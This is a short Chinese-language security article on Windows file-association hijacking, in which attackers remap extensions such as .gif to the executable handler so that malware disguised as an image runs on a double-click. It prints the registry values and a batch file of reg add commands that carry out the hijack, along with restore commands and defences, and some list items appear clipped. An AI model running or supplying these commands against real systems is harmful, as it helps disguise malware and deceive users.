攻擊者可透過修改登錄檔案關聯,將任意副檔名 (如 .gif、.jpg、.txt) 關聯至執行檔處理器,使惡意程式偽裝成圖片/文件誘導使用者雙擊執行。本文解析技術原理並提供防範對策。
Windows 依據 HKCR\.副檔名 → HKCR\ProgID → HKCR\ProgID\shell\open\command 決定開啟動作。攻擊者修改兩個關鍵值:
; 將 .gif 關聯至 exefile (應用程式)
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]
"Content Type"="application/x-msdownload"
@="exefile"
; 恢復正常
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]
"Content Type"="image/gif"
@="giffile"
批次檔自動化修改:
@echo off
reg add "HKLM\SOFTWARE\Classes\.gif" /v "Content Type" /t REG_SZ /d "application/x-msdownload" /f
reg add "HKLM\SOFTWARE\Classes\.gif" /ve /t REG_SZ /d "exefile" /f
受害者雙擊 malware.gif 實際執行其中嵌入的 PE 程式碼 (因註冊表指向 exefile 處理器)。
malware.gif.exe 將顯示完整副檔名。HKCR 關鍵分支。rundll32.exe 執行 .gif)、進程樹異常。發現檔案關聯異常:
assoc .exe=exefile、assoc .gif=giffile 等恢復指令。檔案關聯劫持屬於「活著就能用」的舊技術新用,核心在於利用使用者對副檔名的信任。最有效防禦是「可見副檔名 + 執行白名單 + 行為偵測」三層疊加。